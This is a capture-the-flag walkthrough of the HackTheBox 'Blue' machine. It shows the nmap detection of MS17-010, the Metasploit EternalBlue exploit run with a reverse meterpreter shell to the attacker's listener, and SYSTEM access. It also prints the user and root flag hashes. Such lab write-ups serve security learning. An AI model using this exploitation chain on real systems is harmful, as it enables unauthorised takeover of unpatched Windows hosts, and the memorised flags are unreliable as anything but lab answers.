Mark Seliternikov

HackTheBox - Blue

I've already tried a machine with Eternalblue in the past (TryHackMe) so this one was very easy.
The first thing I did was to search for open ports and possible vulnerabilities via nmap.

```
445/tcp   open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
```

```
smb-vuln-ms17-010:
  VULNERABLE:
  Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
    State: VULNERABLE
    IDs:  CVE:CVE-2017-0143
    Risk factor: HIGH
      A critical remote code execution vulnerability exists in Microsoft SMBv1
       servers (ms17-010).
```

As suggested by the machine's name, this one has the eternalblue vulnerability. There's a very handy module in metasploit just for this.

```
0  exploit/windows/smb/ms17_010_eternalblue      2017-03-14      average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
```

Eternalblue basically exploits a buffer overflow vulnerability. This exploit was developed by the NSA.
I ran this exploit with the default payload which grants me the meterpreter shell. This way I am granted system level access (basically root).

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.16.198:4444
[*] 10.10.10.40:445 - Executing automatic check (disable AutoCheck to override)
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Servi
```

After running the exploit I gained a meterpreter shell.

```
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >
```

Dropping a CMD shell to see my privileges.

```
C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

Then all I did was to search through the directories in the machines.
Both flags are located on the desktops of the user and the administrator.
User flag:

```
C:\Users\haris\Desktop>type user.txt
type user.txt
4c546aea7dbee75cbd71de245c8deea9
C:\Users\haris\Desktop>
```

Administrator flag:

```
C:\Users\Administrator\Desktop>type root.txt
type root.txt
ff548eb71e920ff6c08843ce9df4e717
C:\Users\Administrator\Desktop>
```